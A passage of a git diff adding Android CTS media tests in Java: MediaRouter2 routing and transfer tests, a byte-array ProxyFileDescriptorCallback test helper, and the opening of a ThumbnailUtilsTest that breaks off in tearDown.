+                    featuresChangedLatch.countDown();
+                }
+            }
+        };
+        mRouteCallbacks.add(routeCallback);
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
+                new RouteDiscoveryPreference.Builder(testFeatures, true).build());
+        assertTrue(featuresChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testTransferTo_succeeds_onTransferCalled() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final CountDownLatch successLatch = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes()).containsKey(
+                        ROUTE_ID1));
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                failureLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.transferTo(route);
+            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            List<RoutingController> controllersFromGetControllers =
+                    mSystemRouter2ForCts.getControllers();
+            assertEquals(2, controllersFromGetControllers.size());
+            assertTrue(createRouteMap(controllersFromGetControllers.get(1).getSelectedRoutes())
+                    .containsKey(ROUTE_ID1));
+
+            // onSessionCreationFailed should not be called.
+            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testTransferTo_fails_onTransferFailureCalled() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID3_SESSION_CREATION_FAILED);
+        assertNotNull(route);
+
+        final CountDownLatch successLatch = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                assertEquals(route, requestedRoute);
+                failureLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.transferTo(route);
+            assertTrue(failureLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // onTransfer should not be called.
+            assertFalse(successLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testTransferToTwice() throws Exception {
+        final CountDownLatch successLatch1 = new CountDownLatch(1);
+        final CountDownLatch successLatch2 = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final CountDownLatch stopLatch = new CountDownLatch(1);
+        final CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
+
+        final List<RoutingController> createdControllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                createdControllers.add(newController);
+                if (successLatch1.getCount() > 0) {
+                    successLatch1.countDown();
+                } else {
+                    successLatch2.countDown();
+                }
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                failureLatch.countDown();
+            }
+
+            @Override
+            public void onStop(RoutingController controller) {
+                stopLatch.countDown();
+            }
+        };
+
+        StubMediaRoute2ProviderService service = mService;
+        if (service != null) {
+            service.setProxy(new StubMediaRoute2ProviderService.Proxy() {
+                @Override
+                public void onReleaseSession(long requestId, String sessionId) {
+                    onReleaseSessionLatch.countDown();
+                }
+            });
+        }
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route1 = routes.get(ROUTE_ID1);
+        MediaRoute2Info route2 = routes.get(ROUTE_ID2);
+        assertNotNull(route1);
+        assertNotNull(route2);
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.transferTo(route1);
+            assertTrue(successLatch1.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            mSystemRouter2ForCts.transferTo(route2);
+            assertTrue(successLatch2.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // onTransferFailure/onStop should not be called.
+            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+            assertFalse(stopLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+
+            // Created controllers should have proper info
+            assertEquals(2, createdControllers.size());
+            RoutingController controller1 = createdControllers.get(0);
+            RoutingController controller2 = createdControllers.get(1);
+
+            assertNotEquals(controller1.getId(), controller2.getId());
+            assertTrue(createRouteMap(controller1.getSelectedRoutes()).containsKey(
+                    ROUTE_ID1));
+            assertTrue(createRouteMap(controller2.getSelectedRoutes()).containsKey(
+                    ROUTE_ID2));
+
+            // Should be able to release transferred controllers.
+            controller1.release();
+            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(createdControllers);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    // Same test with testTransferTo_succeeds_onTransferCalled,
+    // but with MediaRouter2#transfer(controller, route) instead of transferTo(route).
+    @Test
+    public void testTransfer_succeeds_onTransferCalled() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final CountDownLatch successLatch = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                failureLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.transfer(mSystemRouter2ForCts.getSystemController(), route);
+            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            List<RoutingController> controllersFromGetControllers =
+                    mSystemRouter2ForCts.getControllers();
+            assertEquals(2, controllersFromGetControllers.size());
+            assertTrue(createRouteMap(controllersFromGetControllers.get(1).getSelectedRoutes())
+                    .containsKey(ROUTE_ID1));
+
+            // onSessionCreationFailed should not be called.
+            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testStop() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
+        final CountDownLatch onStopLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+            @Override
+            public void onStop(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onStopLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onControllerUpdatedLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
+            mSystemRouter2ForCts.transferTo(route);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+
+            mSystemRouter2ForCts.stop();
+
+            // Select ROUTE_ID4_TO_SELECT_AND_DESELECT
+            MediaRoute2Info routeToSelect = routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT);
+            assertNotNull(routeToSelect);
+
+            // This call should be ignored.
+            // The onControllerUpdated() shouldn't be called.
+            controller.selectRoute(routeToSelect);
+            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+
+            // onStop should be called.
+            assertTrue(onStopLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testRoutingControllerSelectAndDeselectRoute() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
+        assertNotNull(routeToBegin);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatchForSelect = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatchForDeselect = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with ROUTE_ID1
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+
+                if (onControllerUpdatedLatchForSelect.getCount() != 0) {
+                    assertEquals(2, controller.getSelectedRoutes().size());
+                    assertTrue(createRouteMap(controller.getSelectedRoutes())
+                            .containsKey(ROUTE_ID1));
+                    assertTrue(createRouteMap(controller.getSelectedRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertFalse(createRouteMap(controller.getSelectableRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertTrue(createRouteMap(controller.getDeselectableRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+
+                    controllers.add(controller);
+                    onControllerUpdatedLatchForSelect.countDown();
+                } else {
+                    assertEquals(1, controller.getSelectedRoutes().size());
+                    assertTrue(createRouteMap(controller.getSelectedRoutes())
+                            .containsKey(ROUTE_ID1));
+                    assertFalse(createRouteMap(controller.getSelectedRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertTrue(createRouteMap(controller.getSelectableRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertFalse(createRouteMap(controller.getDeselectableRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+
+                    onControllerUpdatedLatchForDeselect.countDown();
+                }
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
+            mSystemRouter2ForCts.transferTo(routeToBegin);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+            assertTrue(createRouteMap(controller.getSelectableRoutes())
+                    .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+
+            // Select ROUTE_ID4_TO_SELECT_AND_DESELECT
+            MediaRoute2Info routeToSelectAndDeselect = routes.get(
+                    ROUTE_ID4_TO_SELECT_AND_DESELECT);
+            assertNotNull(routeToSelectAndDeselect);
+
+            controller.selectRoute(routeToSelectAndDeselect);
+            assertTrue(onControllerUpdatedLatchForSelect.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // Note that the updated controller is a different instance.
+            assertEquals(2, controllers.size());
+            assertEquals(controllers.get(0).getId(), controllers.get(1).getId());
+            RoutingController updatedController = controllers.get(1);
+            updatedController.deselectRoute(routeToSelectAndDeselect);
+            assertTrue(onControllerUpdatedLatchForDeselect.await(
+                    TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
+        }
+    }
+
+    @Test
+    public void testRoutingControllerTransferToRoute() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
+        assertNotNull(routeToBegin);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with ROUTE_ID1
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                assertEquals(1, controller.getSelectedRoutes().size());
+                assertFalse(createRouteMap(controller.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                assertTrue(createRouteMap(controller.getSelectedRoutes())
+                        .containsKey(ROUTE_ID5_TO_TRANSFER_TO));
+                onControllerUpdatedLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
+            mSystemRouter2ForCts.transferTo(routeToBegin);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+
+            // Transfer to ROUTE_ID5_TO_TRANSFER_TO
+            MediaRoute2Info routeToTransferTo = routes.get(ROUTE_ID5_TO_TRANSFER_TO);
+            assertNotNull(routeToTransferTo);
+
+            mSystemRouter2ForCts.transferTo(routeToTransferTo);
+            assertTrue(onControllerUpdatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testRoutingControllerSetSessionVolume() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        CountDownLatch successLatch = new CountDownLatch(1);
+        CountDownLatch volumeChangedLatch = new CountDownLatch(1);
+
+        List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.transferTo(route);
+
+            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+
+        assertEquals(1, controllers.size());
+
+        // test setSessionVolume
+        RoutingController targetController = controllers.get(0);
+        assertEquals(PLAYBACK_VOLUME_VARIABLE, targetController.getVolumeHandling());
+        int currentVolume = targetController.getVolume();
+        int maxVolume = targetController.getVolumeMax();
+        int targetVolume = (currentVolume == maxVolume) ? currentVolume - 1 : (currentVolume + 1);
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(MediaRouter2.RoutingController controller) {
+                if (!TextUtils.equals(targetController.getId(), controller.getId())) {
+                    return;
+                }
+                if (controller.getVolume() == targetVolume) {
+                    volumeChangedLatch.countDown();
+                }
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
+            targetController.setVolume(targetVolume);
+            assertTrue(volumeChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
+        }
+    }
+
+    @Test
+    public void testRoutingControllerRelease() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
+        final CountDownLatch onStopLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+            @Override
+            public void onStop(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onStopLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onControllerUpdatedLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
+            mSystemRouter2ForCts.transferTo(route);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+
+            // Release controller. Future calls should be ignored.
+            controller.release();
+
+            // Select ROUTE_ID5_TO_TRANSFER_TO
+            MediaRoute2Info routeToSelect = routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT);
+            assertNotNull(routeToSelect);
+
+            // This call should be ignored.
+            // The onControllerUpdated() shouldn't be called.
+            controller.selectRoute(routeToSelect);
+            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+
+            // onStop should be called.
+            assertTrue(onStopLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    private Map<String, MediaRoute2Info> waitAndGetRoutes(String feature) throws Exception {
+        List<String> features = new ArrayList<>();
+        features.add(feature);
+
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
+                new RouteDiscoveryPreference.Builder(features, true).build());
+
+        CountDownLatch latch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesAdded(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getFeatures().contains(feature)) {
+                        latch.countDown();
+                        break;
+                    }
+                }
+            }
+        };
+
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        try {
+            // Note: The routes can be added before registering the callback,
+            // therefore no assertTrue() here.
+            latch.await(WAIT_MS, TimeUnit.MILLISECONDS);
+            return createRouteMap(mSystemRouter2ForCts.getRoutes());
+        } finally {
+            mSystemRouter2ForCts.unregisterRouteCallback(routeCallback);
+        }
+    }
+
+    // Helper for getting routes easily. Uses original ID as a key
+    private static Map<String, MediaRoute2Info> createRouteMap(List<MediaRoute2Info> routes) {
+        Map<String, MediaRoute2Info> routeMap = new HashMap<>();
+        for (MediaRoute2Info route : routes) {
+            routeMap.put(route.getOriginalId(), route);
+        }
+        return routeMap;
+    }
+
+    private void releaseAllSessions() {
+        MediaRouter2Manager manager = MediaRouter2Manager.getInstance(mContext);
+        for (RoutingSessionInfo session : manager.getActiveSessions()) {
+            manager.releaseSession(session);
+        }
+    }
+
+    private void clearCallbacks() {
+        for (RouteCallback routeCallback : mRouteCallbacks) {
+            mAppRouter2.unregisterRouteCallback(routeCallback);
+            mSystemRouter2ForCts.unregisterRouteCallback(routeCallback);
+        }
+        mRouteCallbacks.clear();
+
+        for (TransferCallback transferCallback : mTransferCallbacks) {
+            mAppRouter2.unregisterTransferCallback(transferCallback);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+        mTransferCallbacks.clear();
+    }
+
+    static void releaseControllers(List<RoutingController> controllers) {
+        for (RoutingController controller : controllers) {
+            controller.release();
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/TestProxyFileDescriptorCallback.java b/tests/tests/media/misc/src/android/media/misc/cts/TestProxyFileDescriptorCallback.java
new file mode 100644
index 0000000..b0d1032
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/TestProxyFileDescriptorCallback.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.os.ProxyFileDescriptorCallback;
+import android.platform.test.annotations.AppModeFull;
+import android.system.ErrnoException;
+import android.system.OsConstants;
+import android.util.Log;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * A ProxyFileDescriptorCallback that reads from a byte array for use in tests.
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class TestProxyFileDescriptorCallback extends ProxyFileDescriptorCallback {
+    private static final String TAG = "TestProxyFileDescriptorCallback";
+
+    private byte[] mData;
+
+    private boolean mThrowFromReadAt;
+    private boolean mThrowFromGetSize;
+    private Integer mReturnFromReadAt;
+    private Long mReturnFromGetSize;
+    private boolean mIsClosed;
+
+    // Read an asset fd into a new byte array data source. Closes afd.
+    public static TestProxyFileDescriptorCallback fromAssetFd(AssetFileDescriptor afd)
+            throws IOException {
+        try {
+            InputStream in = afd.createInputStream();
+            final int size = (int) afd.getDeclaredLength();
+            byte[] data = new byte[(int) size];
+            int writeIndex = 0;
+            int numRead = 0;
+            do {
+                numRead = in.read(data, writeIndex, size - writeIndex);
+                writeIndex += numRead;
+            } while (numRead >= 0);
+            return new TestProxyFileDescriptorCallback(data);
+        } finally {
+            afd.close();
+        }
+    }
+
+    public TestProxyFileDescriptorCallback(byte[] data) {
+        mData = data;
+    }
+
+    @Override
+    public int onRead(long offset, int size, byte[] data) throws ErrnoException {
+        if (mThrowFromReadAt) {
+            throw new ErrnoException("onRead", OsConstants.EIO);
+        }
+        if (mReturnFromReadAt != null) {
+            return mReturnFromReadAt;
+        }
+
+        // Clamp reads past the end of the source.
+        if (offset >= mData.length) {
+            return 0; // 0 indicates EOF
+        }
+        if (offset + size > mData.length) {
+            size -= (offset + size) - mData.length;
+        }
+        System.arraycopy(mData, (int)offset, data, 0, size);
+        return size;
+    }
+
+    @Override
+    public long onGetSize() throws ErrnoException {
+        if (mThrowFromGetSize) {
+            throw new ErrnoException("onGetSize", OsConstants.EIO);
+        }
+        if (mReturnFromGetSize != null) {
+            return mReturnFromGetSize;
+        }
+
+        Log.v(TAG, "getSize: " + mData.length);
+        return mData.length;
+    }
+
+    @Override
+    public void onRelease() {
+        Log.d(TAG, "onRelease()");
+        mIsClosed = true;
+    }
+
+    // Whether close() has been called.
+    public synchronized boolean isClosed() {
+        return mIsClosed;
+    }
+
+    public void throwFromReadAt() {
+        mThrowFromReadAt = true;
+    }
+
+    public void throwFromGetSize() {
+        mThrowFromGetSize = true;
+    }
+
+    public void returnFromReadAt(int numRead) {
+        mReturnFromReadAt = numRead;
+    }
+
+    public void returnFromGetSize(long size) {
+        mReturnFromGetSize = size;
+    }
+}
+
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ThumbnailUtilsTest.java b/tests/tests/media/misc/src/android/media/misc/cts/ThumbnailUtilsTest.java
new file mode 100644
index 0000000..afca910
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ThumbnailUtilsTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.ColorInt;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_HEVC;
+import android.media.ThumbnailUtils;
+import android.media.cts.Preconditions;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+@RunWith(JUnitParamsRunner.class)
+public class ThumbnailUtilsTest {
+
+    private boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    private static final Size[] TEST_SIZES = new Size[] {
+            new Size(50, 50),
+            new Size(500, 500),
+            new Size(5000, 5000),
+    };
+
+    private File mDir;
+
+    private Object[] getSampleWithThumbnailForCreateImageThumbnail() {
+        return new Object[] {
+                "orientation_0.jpg",
+                "orientation_90.jpg",
+                "orientation_180.jpg",
+                "orientation_270.jpg",
+        };
+    }
+
+    private Object[] getStrippedSampleForCreateImageThumbnail() {
+        return new Object[] {
+                "orientation_stripped_0.jpg",
+                "orientation_stripped_90.jpg",
+                "orientation_stripped_180.jpg",
+                "orientation_stripped_270.jpg"
+
+        };
+    }
+
+    private Object[] getHEICSampleForCreateImageThumbnail() {
+        return new Object[] {
+                "orientation_heic_0.HEIC",
+                "orientation_heic_90.HEIC",
+                "orientation_heic_180.HEIC",
+                "orientation_heic_270.HEIC"
+
+        };
+    }
+
+    @Before
+    public void setUp() {
+        mDir = InstrumentationRegistry.getTargetContext().getExternalCacheDir();
+        mDir.mkdirs();
+        deleteContents(mDir);
+    }
+
+    @After
+    public void tearDown() {
